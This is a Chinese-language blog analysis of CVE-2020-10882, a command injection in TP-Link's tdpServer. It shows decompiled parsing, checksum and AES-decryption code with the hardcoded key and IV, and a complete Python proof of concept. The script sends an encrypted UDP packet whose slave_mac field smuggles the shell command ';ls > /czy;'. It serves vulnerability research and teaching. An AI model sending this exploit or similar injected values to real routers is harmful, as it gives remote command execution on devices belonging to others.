CVE-2020-10882 tdpServer服务分析

Zhiyuan Lv1

为什么会对一个几年前的漏洞进行分析呢,因为在HITP2023AMS会议上,看到一个关于TP-Link的tdpServer的json堆栈溢出所以我看了关于这个服务前几年的漏洞存在一个命令注入,这个命令注入是在pwn2own-tokyo由Flashback团队发现的关于漏洞影响的版本可以访问链接。

下面就是正文,对原文中一些没有详细展开的函数点进行了分析,获取固件后解开后寻找/usr/bin/tdpServe直接给Ghidra进行分析

img

分析

recvfrom()

1
2
3
4
5
6
7
8
9
10
11
12
packet_len = recvfrom(__fd,UDP_data,sVar2,0,&sStack_b8,&local_c4);
if (packet_len < 0) {
pcVar3 = "tdpdServer.c:1039";
pcVar4 = "tdpd recv error!!!";
}
else if (packet_len == 0) {
pcVar3 = "tdpdServer.c:1044";
pcVar4 = "tdpd recv close!!!";
}
else {
pthread_mutex_lock((pthread_mutex_t *)&DAT_0042f47c);
iVar1 = tdpd_pkt_parser((int)UDP_data,packet_len,__s,&local_c8);

第一行,调用了recvfrom()接收UDP数据,获取UDP_data后调用tdpd_pkt_parser()


tdpd_pkt_parser()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42

undefined4 tdpd_pkt_parser(int packet,int packet_len,undefined4 packet_reply,undefined4 param_4)

{
int iVar1;
undefined4 uVar2;
char *pcVar3;
char *pcVar4;

if (packet != 0) {
iVar1 = return_0x10();
if (packet_len < iVar1) {
print_debug("tdpdServer.c:709","recvbuf length = %d, less than hdr\'s 16",packet_len);
}
else {
iVar1 = tdp_get_pkt_len(packet);
if (iVar1 < 1) {
pcVar3 = "tdpdServer.c:716";
pcVar4 = "tdp pkt is too big";
}
else {
print_debug("tdpdServer.c:719","tdp pkt length is %d",iVar1);
iVar1 = tdpd_pkt_sanity_checks(packet,iVar1);
if (iVar1 < 0) {
return 0xffffffff;
}
if (*(char *)(packet + 1) == '\0') {
uVar2 = FUN_0040cb88(packet,packet_len,packet_reply,param_4);
return uVar2;
}
if ((*(char *)(packet + 1) == -0x10) && (DAT_0042f0f0 == '\x01')) {
uVar2 = vuln_func_branch(packet,packet_len,packet_reply,param_4);
return uVar2;
}
pcVar3 = "tdpdServer.c:742";
pcVar4 = "invalid tdp packet type";
}
print_debug(pcVar3,pcVar4);
}
}
return 0xffffffff;
}

这个函数有一下几个点

  1. 第十一行判断接收的数据长度不小于0x10,也就是16.
  2. 并且在16行tdp_get_pkt_len()函数的长度不大于0x410
  3. 在这个函数里tdpd_pkt_sanity_checks()有多个判断,判断数据包中的第一个字节是否为0x01,还进行了CRC32校验,和对第二个字节是否为0xf0.
  4. 31行判断了第二个字节是否是-0x10
  5. 进入漏洞分支vuln_func_branch()

tdp_get_pkt_len()

1
2
3
4
5
6
7
8
9
10
uint tdp_get_pkt_len(int param_1)

{
uint uVar1;

uVar1 = 0xffffffff;
if ((param_1 != 0) && (uVar1 = *(ushort *)(param_1 + 4) + 0x10, 0x410 < uVar1)) {
uVar1 = 0xffffffff;
}
return uVar1;

这个函数比较简单全部都在第七行,判断param_1不为空.*(ushort *)(param_1 + 4)因为是ushort获取两个字节,加上0x10的长度小于0x410,而这个param_1+4的位置是我们在数据包头设置的payload的长度,判断成功后会返回我们设置的长度,而不是0xffffffff.

tdpd_pkt_sanity_checks()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48

undefined4 tdpd_pkt_sanity_checks(byte *packet,int length)

{
int iVar1;
uint uVar2;
char *pcVar3;
char *pcVar4;
uint uVar5;

if ((packet != (byte *)0x0) && (iVar1 = FUN_0040d608(), length <= iVar1)) {
iVar1 = FUN_0040d644(*packet);
if (iVar1 == 0) {
uVar5 = (uint)*packet;
pcVar3 = "tdpdServer.c:591";
pcVar4 = "TDP version=%x";
}
else {
uVar5 = *(uint *)(packet + 0xc);
*(undefined4 *)(packet + 0xc) = 0x5a6b7c8d;
uVar2 = CRC_32(packet,length);
print_debug("tdpdServer.c:599","TDP curCheckSum=%x; newCheckSum=%x",uVar5,uVar2);
if (uVar5 == uVar2) {
*(uint *)(packet + 0xc) = uVar5;
if (*(ushort *)(packet + 4) + 0x10 == length) {
uVar5 = (uint)packet[1];
if ((uVar5 == 0) || (uVar5 == 0xf0)) {
print_debug("tdpdServer.c:643","TDP sn=%x",*(undefined4 *)(packet + 8));
return 0;
}
pcVar3 = "tdpdServer.c:634";
pcVar4 = "TDP error reserved=%x";
}
else {
pcVar3 = "tdpdServer.c:611";
pcVar4 = "TDP pkt has no payload. payloadlength=%x";
uVar5 = (uint)*(ushort *)(packet + 4);
}
}
else {
pcVar3 = "tdpdServer.c:602";
pcVar4 = "TDP error checksum=%x";
}
}
print_debug(pcVar3,pcVar4,uVar5);
}
return 0xffffffff;
}
  1. 第12行判断了数据包中第一个字节是否为0x01
  2. 第21行进行了CRC32循环冗余校验,判断数据包是否完整会进行详细的分析,但是只对代码分析不会展开讲CRC32
  3. 27行判断了第二个字节是否是0xf0,即使这里能够通过也会在tdpd_pkt_parser函数的第31行进行判断是否等于-0x10进行判断,也就是0xf0,才能进入漏洞函数分支

CRC_32()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
uint CRC_32(byte *Data,int len)

{
uint uVar1;
byte *Datalen;

uVar1 = 0;
if ((Data != (byte *)0x0) && (len != 0)) {
Datalen = Data + len;
uVar1 = 0xffffffff;
for (; Data < Datalen; Data = Data + 1) {
uVar1 = *(uint *)(&DAT_00416e90 + ((*Data ^ uVar1) & 0xff) * 4) ^ uVar1 >> 8;
}
uVar1 = ~uVar1;
}
return uVar1;
}

该函数进行了一些运算,本质上就是CRC32的校验,在写POC时可以直接使用python中的zlib.crc32去生成curCheckSum,填充到数据包中.

在第8行判断了长度和内容不为空,重要的的操作都在第11和12行,第11行简单来说就是整个data有多少个字节就循环多少次,第12行中的DAT_00416e90就是一个校验用的数据表.

核心操作: uVar1 = *(uint *)(&DAT_00416e90 + ((*Data ^ uVar1) & 0xff) * 4) ^ uVar1 >> 8;

  1. 先运行了*Data ^ uVar1获取了Data中的第一个字节和uVar1进行异或,在第一次进入函数uVar1的值为0xffffffff,在循环完成一次后uVar1会被重新赋值为上一次的结果
  2. 完成第一步的操作后将和0xff进行逻辑与操作并乘4,假设现在的通过运行算后生成了一个叫NewData的指针
  3. *(uint *)(&DAT_00416e90 + NewData) ^ uVar1 >> 8现在的公式是这个样子的,因为uint类型会从指针的位置获取4个字节,根据运算符的优先级会先运行uVar1 >> 8在将从DAT_00416e90获取的数据和uVar1 >> 8的结果进行异或生成我们的新的uVar1,并进入下一次循环.

一下是python对这个操作的还原,值得注意的是在最后的生成的值由于 C 语言中整数类型的表示方式是使用补码,所以我们在python中还原校验是一个负数我们需要将他转换为无符号整数,当然如果你直接使用zlib.crc32就不需要考虑这个了,在最后都需要将结果打包成一个32位大端的字节串才能够拼接Payload

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
reference_tbl = [
0x00, 0x00, 0x00, 0x00, .......,0x77, 0x07, 0x30, 0x96, 0xee,
] #这里就是我们的DAT_00416e90数据表,不全部写上去了因为太多了

for i in range(len(packet)): #循环packet的长度
Svar = 0xffffffff
packetos = packet[i] #获取packet中的值,16进制转换10进制的值
tmpe1 = ((packetos ^ Svar)&0xff) * 4 #对应1.和2.的操作
sub_array = reference_tbl[tmpe1:tmpe1+4][::-1] # 获取反转后的子数组,因为big端所以需要反转我们获取的数据
byte_str = bytes(sub_array) # 转换为字节串
ref = int.from_bytes(byte_str, 'little') #转换为无符号整数
Svar = ref ^ (Svar >> 8) #对应3.

checksum = ~Svar #校验值

#有下面几个方法将我们的值转换为无符号整数,并打包
#1.
checksum_s = struct.pack('>i', checksum) #b'\xb2X^\n'
#2.
p32(checksum, endian="big", signed=True)#b'\xb2X^\n'
#3.
checksum &= 0xffffffff
p32(checksum, endian="big") #b'\xb2X^\n'

vuln_func_branch()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

undefined4
vuln_func_branch(int packet,undefined4 packet_len,int packet_reply,int param_4,int param_5)

{
int iVar1;
char *pcVar2;
char *pcVar3;
int local_c8 [43];

if ((((packet != 0) && (packet_reply != 0)) && (param_4 != 0)) &&
(iVar1 = FUN_0040e074(local_c8), iVar1 == 0)) {
print_debug("tdpdServer.c:883","recv ip is %x, my ip is %x",param_5,local_c8[0]);
if (param_5 == local_c8[0]) {
print_debug("tdpdServer.c:886","Ignore onemesh tdp packet to myself...");
}
else {
print_debug("tdpdServer.c:890","opcode %x, flags %x",*(undefined2 *)(packet + 2),
*(undefined *)(packet + 6));
switch(*(short *)(packet + 2) + -1) {
case 0:
if ((*(byte *)(packet + 6) & 1) == 0) {
pcVar2 = "tdpdServer.c:904";
pcVar3 = "Invalid flags";
}
else {
iVar1 = FUN_00412ed4(packet,packet_len,packet_reply,param_4,param_5);
if (-1 < iVar1) {
return 0;
}
pcVar2 = "tdpdServer.c:898";
pcVar3 = "error processing probe request...";
}
break;
case 1:
if ((*(byte *)(packet + 6) & 1) != 0) {
return 0;
}
pcVar2 = "tdpdServer.c:915";
pcVar3 = "Invalid flags";
break;
default:
pcVar2 = "tdpdServer.c:966";
pcVar3 = "Invalid operation!";
break;
....省略....
case 6:
if ((*(byte *)(packet + 6) & 1) == 0) {
pcVar2 = "tdpdServer.c:958";
pcVar3 = "Invalid flags";
}
else {
iVar1 = vuln_func(packet,packet_len,packet_reply,param_4,param_5);
if (-1 < iVar1) {
return 0;
}
pcVar2 = "tdpdServer.c:952";
pcVar3 = "error processing slave_key_offer request...";
}
}
print_debug(pcVar2,pcVar3);
}
}
return 0xffffffff;
}

  1. 在第12中FUN_0040e074函数中获取了config中的配置可以参考openwrt在没有实体机的情况下需要去添加配置文件
  2. 20行获取请求头中第三四个字节并减一,去switch我们需要到53行所以需要将请求头设为7
  3. 48行对请求头中的第7个字节&1不等于0,所以需要将第7个字节设为1

vuln_func()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
//1.用来对我们的数据包进行解密
local_1f70 = 0;
if (((packet == 0) || (packet_reply == (undefined *)0x0)) || (param_4 == (int *)0x0)) {
pcVar11 = "tdpOneMesh.c:2887";
pcVar12 = "Invalid parameters";
goto LAB_00415700;
}
__s = (void *)(packet + 0x10);
memset(acStack_1498,0,0x400);
iVar3 = data_decrypt(__s,*(undefined2 *)(packet + 4),"TPONEMESH_Kf!xn?gj6pMAt-wBNV_TDP",
acStack_1498,0x400);
if (iVar3 != 0) {
pcVar11 = "tdpOneMesh.c:2896";
pcVar12 = "Failed to decrypt.";
goto LAB_00415700;
}

//2.循环解析jsondata赋值
memcpy(__s,acStack_1498,sVar4);
sVar4 = strlen(acStack_1498);
*(short *)(packet + 4) = (short)sVar4;
memset(acStack_1b08,0,0x270);
memset(acStack_1098,0,0x424);
memset(acStack_1f58,0,0x4e);
*packet_reply = 1;
packet_reply[1] = 0xf0;
*(undefined2 *)(packet_reply + 2) = 7;
packet_reply[6] = 0x22;
print_debug("tdpOneMesh.c:2915","Enter..., rcvPkt->payload is %s",__s);
iVar3 = FUN_00416468(acStack_1f58);
if (iVar3 != 0) {
print_debug("tdpOneMesh.c:2919","Failed tdp_onemesh_get_onemesh_info!");
strncpy(acStack_1e08,"Internal Error!",0xff);
}
iVar5 = FUN_004059d8(__s);
if (iVar5 == 0) {
pcVar11 = "tdpOneMesh.c:2926";
pcVar12 = "Invalid rcvPkt";
goto LAB_00415700;
}
iVar6 = FUN_00405aa4(iVar5,"method"); //获取method键值数据
if (((iVar6 == 0) || (*(int *)(iVar6 + 0xc) != 4)) ||
(iVar6 = strcmp(*(char **)(iVar6 + 0x10),"slave_key_offer"), iVar6 != 0)) {
pcVar11 = "tdpOneMesh.c:2934";
pcVar12 = "Invalid method!";
goto LAB_00415700;
}
iVar6 = FUN_00405aa4(iVar5,"data"); //获取data键值数据
if ((iVar6 == 0) || (*(int *)(iVar6 + 0xc) != 6)) {
pcVar11 = "tdpOneMesh.c:2941";
}
else {
iVar7 = FUN_00405aa4(iVar6,"group_id");//获取group_id键值数据
if (iVar7 == 0) {
pcVar11 = "tdpOneMesh.c:2948";
}
else {
pcVar11 = "tdpOneMesh.c:2948";
if (*(int *)(iVar7 + 0xc) == 4) {
strncpy(acStack_1b08,acStack_1f58,0x3f);
iVar7 = FUN_00405aa4(iVar6,"ip");//获取ip键值
if (iVar7 == 0) {
pcVar11 = "tdpOneMesh.c:2960";
}
else {
pcVar11 = "tdpOneMesh.c:2960";
if (*(int *)(iVar7 + 0xc) == 4) {
strncpy(acStack_1ab6,*(char **)(iVar7 + 0x10),0xf);
print_debug("tdpOneMesh.c:2964","slaveIp is %s",acStack_1ab6);
iVar7 = FUN_00405aa4(iVar6,"slave_mac"); //获取slave_mac键值
if ((iVar7 == 0) || (*(int *)(iVar7 + 0xc) != 4)) {
pcVar11 = "tdpOneMesh.c:2969";
}
else {
strncpy(acStack_1ac8,*(char **)(iVar7 + 0x10),0x11);
strncpy(acStack_1098,*(char **)(iVar7 + 0x10),0x11);//这里strncpy了iVar7的值给acStack_1098,在漏洞点调用了该变量,并且只cpy0x11个字节,但是我们并不需要考虑这些因为我只需要验证可执行就好
....后面都是这样获取的....

//3.漏洞点
snprintf(acStack_1d08,0x1ff,"lua -e \'require(\"luci.controller.admin.onemesh\").sync_wifi_specified({mac=\"%s\"})\'",acStack_1098);//在这里调用了acStack_1098拼接给acStack_1d08.
print_debug("tdpOneMesh.c:3368","systemCmd: %s",acStack_1d08);
system(acStack_1d08);//执行了上面snprintf拼接的acStack_1d08

这个函数太多了就给出关键位置

  1. 第一个data_decrypt,对data进行解密,AES加密CBC模式
  2. 通过对每一个json键值解析,并赋值并且所有的数据包都不能为空
  3. 就是漏洞点了snprintf拼接slave_mac的值,只需要关合命令就可以在system中执行了,关合的方法:';command;'

主要看一下data_decrypt里面关键函数FUN_0040ade0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35

undefined4 FUN_0040ade0(byte *param_1,size_t param_2,uchar *param_3,uchar *param_4)

{
int iVar1;
size_t sVar2;
byte *pbVar3;
undefined4 uVar4;
uchar auStack_138 [36];
AES_KEY AStack_114;

memcpy(auStack_138,"1234567890abcdef1234567890abcdef",0x21);
memset(&AStack_114,0,0xf4);
iVar1 = AES_set_decrypt_key(param_4,0x80,&AStack_114);//128位的key,也就是16个字节,所有我们只需要TPONEMESH_Kf!xn?
if (iVar1 == 0) {
if ((int)param_2 < 0x10) {
param_2 = 0x10;
}
sVar2 = strlen((char *)param_1);
iVar1 = 0;
printf("%s() %d: inlen %d, strlen(in) %d \n","aes_dec",0xc5,param_2,sVar2);
pbVar3 = param_1;
do {
iVar1 = iVar1 + 1;
printf("0x%02x ",(uint)*pbVar3);
pbVar3 = param_1 + iVar1;
} while (iVar1 < (int)param_2);
printf("%s() %d: data end \n","aes_dec",0xcb);
AES_cbc_encrypt(param_1,param_3,param_2,&AStack_114,auStack_138,0);//解密,这auStack_138是VI,虽然有256位的KEY和IV,但是实际上还是AES_CBC128的算法,所以我们的IV也是16位1234567890abcdef
uVar4 = 0;
}
else {
uVar4 = 0xffffffff;
}
return uVar4;

end


POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
import socket
import zlib
from pwn import *
from Crypto.Cipher import AES

BLOCKSIZE = 16
pad = lambda s: s + (BLOCKSIZE - len(s) % BLOCKSIZE) * chr(BLOCKSIZE - len(s) % BLOCKSIZE)

def MyAesEncrypt(pyload):
key = 'TPONEMESH_Kf!xn?'
iv = '1234567890abcdef'
# 加密
cipher = AES.new(key.encode(), AES.MODE_CBC, iv.encode())
pyload = pad(pyload)
print("<===========================填充payload进行加密==============================>")
print(repr(pyload))
ciphertext = cipher.encrypt(pyload.encode())
return ciphertext

def calcChecksum(packet):
result = zlib.crc32(packet)
print("==============================================> Calculated checksum : " + hex(result))
return result


cmd = "';ls > /czy;'"
payload = '{"method":"slave_key_offer","data":{"group_id":"123","ip":"1.2.2.2","slave_mac":"'+cmd+'","slave_private_account":"zhiyuan","slave_private_password":"password","want_to_join":false,"model":"oooo","product_type":"oooo","operation_mode":"oooo"}}'

print("<===========================初始payload==============================>")
print(payload)
print("<===========================payload长度==============================>")
payloadlen = p16(len(pad(payload)) , endian="big")
print(payloadlen)
ennctext = MyAesEncrypt(payload)
print("<===========================加密的payload==============================>")
print(ennctext)


packet = b"\x01" #0x0040ca10 版本判断
packet += b"\xf0" # 0x0040d068 进入漏洞函数分支
packet += b"\x00\x07" # 0x0040ce14 switch 获取内存中的值减一,进入存在漏洞的函数
packet += b"\x01\x00"# 0x0040d628 判断这里的内存中的值加0x10是否小于0x410,长度判断
packet += b"\x01" # 0x0040ce84 进入漏洞函数条件
packet += b"\x00" # 不知道什么东西
packet += b"\xde\xad\xbe\xef" # 不知道什么,可以是任何数据,只要把这四个字节占用即可
packet += p32(0x5a6b7c8d, endian="big") # 校验

packet += ennctext #加密的pyload赋值

print("<===========================payload和头部拼接==============================>")
print(packet)

teem = calcChecksum(packet) #通过RCR

result = packet[:12] #前12个值个result

result += p32(teem , endian="big") #新校验值

result += packet[16:] #在拼接后面data的值


print("<===========================最后的payload==============================>")
print(result)

ip = '127.0.0.1'
port = 20002
addr= (ip,port)
s = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
s.sendto(result ,addr)
  1. 要注意的是在这个简单的POC中我们,并没有获取shell只是生成了一个叫czy的文件
  2. 也没有写自动更改第42行,如果更改我们payload长度也需要对第42行进行更改,payload的长度在第33行输出出来了
  3. 如果我们想要使用我们自己写的CRC32校验的话需要更改第57行
  4. 在非实体机运行tdpserver,还需要启动UBUS守护进程ubusd,否则就不会攻击成功

参考链接

  1. https://www.zerodayinitiative.com/blog/2020/4/6/exploiting-the-tp-link-archer-c7-at-pwn2own-tokyo
  2. https://web.archive.org/web/20201112040010/https://starlabs.sg/blog/2020/10/analysis-exploitation-of-a-recent-tp-link-archer-a7-vulnerability/
  • Title: CVE-2020-10882 tdpServer服务分析
  • Author: Zhiyuan
  • Created at : 2023-06-28 21:25:03
  • Updated at : 2025-05-16 23:02:52
  • Link: https://redefine.ohevan.com/2023/06/28/CVE-2020-10882/
  • License: This work is licensed under CC BY-NC-SA 4.0.
Comments